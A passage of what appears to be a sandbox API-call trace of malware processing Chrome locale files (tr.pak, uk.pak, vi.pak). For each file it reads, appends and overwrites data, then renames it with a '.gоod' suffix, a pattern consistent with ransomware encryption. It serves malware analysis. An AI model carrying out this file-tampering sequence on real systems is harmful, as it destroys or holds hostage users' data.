ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d566b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45f47)) returned 1 [0138.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0138.136] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", lpFilePart=0x0) returned 0x4c [0138.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.136] GetFileType (hFile=0x644) returned 0x1 [0138.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.136] GetFileType (hFile=0x644) returned 0x1 [0138.136] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0138.136] ReadFile (in: hFile=0x644, lpBuffer=0x39c18a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x39c18a8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0138.140] CloseHandle (hObject=0x644) returned 1 [0138.140] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", lpFilePart=0x0) returned 0x4c [0138.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.140] GetFileType (hFile=0x644) returned 0x1 [0138.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.140] GetFileType (hFile=0x644) returned 0x1 [0138.140] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x45f47 [0138.140] WriteFile (in: hFile=0x644, lpBuffer=0x39c2b40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x39c2b40*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0138.142] CloseHandle (hObject=0x644) returned 1 [0138.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", lpFilePart=0x0) returned 0x4c [0138.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.142] GetFileType (hFile=0x644) returned 0x1 [0138.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.142] GetFileType (hFile=0x644) returned 0x1 [0138.142] ReadFile (in: hFile=0x644, lpBuffer=0x39c5028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x39c5028*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0138.169] CloseHandle (hObject=0x644) returned 1 [0138.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", lpFilePart=0x0) returned 0x4c [0138.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.169] GetFileType (hFile=0x644) returned 0x1 [0138.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.170] GetFileType (hFile=0x644) returned 0x1 [0138.170] WriteFile (in: hFile=0x644, lpBuffer=0x39c3d80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x39c3d80*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0138.170] CloseHandle (hObject=0x644) returned 1 [0138.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", lpFilePart=0x0) returned 0x4c [0138.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak.gоod", lpFilePart=0x0) returned 0x51 [0138.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0138.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4e9218b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x45f57)) returned 1 [0138.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0138.170] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak.gоod")) returned 1 [0138.171] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", lpFilePart=0x0) returned 0x4c [0138.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0138.171] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak"), fInfoLevelId=0x0, lpFileInformation=0x3a43618 | out: lpFileInformation=0x3a43618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d602f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6fff3)) returned 1 [0138.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0138.171] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", lpFilePart=0x0) returned 0x4c [0138.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.171] GetFileType (hFile=0x644) returned 0x1 [0138.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.171] GetFileType (hFile=0x644) returned 0x1 [0138.171] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0138.171] ReadFile (in: hFile=0x644, lpBuffer=0x3a43a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3a43a30*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0138.390] CloseHandle (hObject=0x644) returned 1 [0138.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", lpFilePart=0x0) returned 0x4c [0138.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.891] GetFileType (hFile=0x644) returned 0x1 [0138.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.891] GetFileType (hFile=0x644) returned 0x1 [0138.891] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x6fff3 [0138.891] WriteFile (in: hFile=0x644, lpBuffer=0x3a39518*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3a39518*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0138.893] CloseHandle (hObject=0x644) returned 1 [0138.893] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", lpFilePart=0x0) returned 0x4c [0138.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.894] GetFileType (hFile=0x644) returned 0x1 [0138.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.894] GetFileType (hFile=0x644) returned 0x1 [0138.894] ReadFile (in: hFile=0x644, lpBuffer=0x3a3e398, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a3e398*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0138.922] CloseHandle (hObject=0x644) returned 1 [0138.922] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", lpFilePart=0x0) returned 0x4c [0138.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.923] GetFileType (hFile=0x644) returned 0x1 [0138.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.923] GetFileType (hFile=0x644) returned 0x1 [0138.923] WriteFile (in: hFile=0x644, lpBuffer=0x3a3d0f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3a3d0f0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0138.923] CloseHandle (hObject=0x644) returned 1 [0138.923] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", lpFilePart=0x0) returned 0x4c [0138.923] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak.gоod", lpFilePart=0x0) returned 0x51 [0138.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0138.923] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4f05993e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x70003)) returned 1 [0138.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0138.923] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak.gоod")) returned 1 [0138.925] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", lpFilePart=0x0) returned 0x4c [0138.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0138.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak"), fInfoLevelId=0x0, lpFileInformation=0x3abc778 | out: lpFileInformation=0x3abc778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d76284, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5116b)) returned 1 [0138.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0138.925] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", lpFilePart=0x0) returned 0x4c [0138.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0138.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0138.926] GetFileType (hFile=0x644) returned 0x1 [0138.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0138.926] GetFileType (hFile=0x644) returned 0x1 [0138.926] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0138.926] ReadFile (in: hFile=0x644, lpBuffer=0x3abcb90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3abcb90*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0139.042] CloseHandle (hObject=0x644) returned 1 [0139.042] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", lpFilePart=0x0) returned 0x4c [0139.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0139.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0139.042] GetFileType (hFile=0x644) returned 0x1 [0139.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0139.042] GetFileType (hFile=0x644) returned 0x1 [0139.042] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x5116b [0139.042] WriteFile (in: hFile=0x644, lpBuffer=0x38f9da8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x38f9da8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0139.044] CloseHandle (hObject=0x644) returned 1 [0139.044] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", lpFilePart=0x0) returned 0x4c [0139.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0139.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0139.045] GetFileType (hFile=0x644) returned 0x1 [0139.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0139.045] GetFileType (hFile=0x644) returned 0x1 [0139.045] ReadFile (in: hFile=0x644, lpBuffer=0x38fc068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x38fc068*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0139.073] CloseHandle (hObject=0x644) returned 1 [0139.073] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", lpFilePart=0x0) returned 0x4c [0139.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0139.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0139.073] GetFileType (hFile=0x644) returned 0x1 [0139.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0139.073] GetFileType (hFile=0x644) returned 0x1 [0139.073] WriteFile (in: hFile=0x644, lpBuffer=0x38fadc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x38fadc0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0139.073] CloseHandle (hObject=0x644) returned 1 [0139.074] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", lpFilePart=0x0) returned 0x4c [0139.074] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak.gоod", lpFilePart=0x0) returned 0x51 [0139.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0139.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4f1b0e0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5117b)) returned 1 [0139.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0139.074] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak.gоod")) returned 1 [0139.075] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", lpFilePart=0x0) returned 0x4f [0139.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0139.075] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak"), fInfoLevelId=0x0, lpFileInformation=0x39785f0 | out: lpFileInformation=0x39785f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dae4f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ae08)) returned 1 [0139.076] SetThreadErrorMode (dwNewMode=0x0, 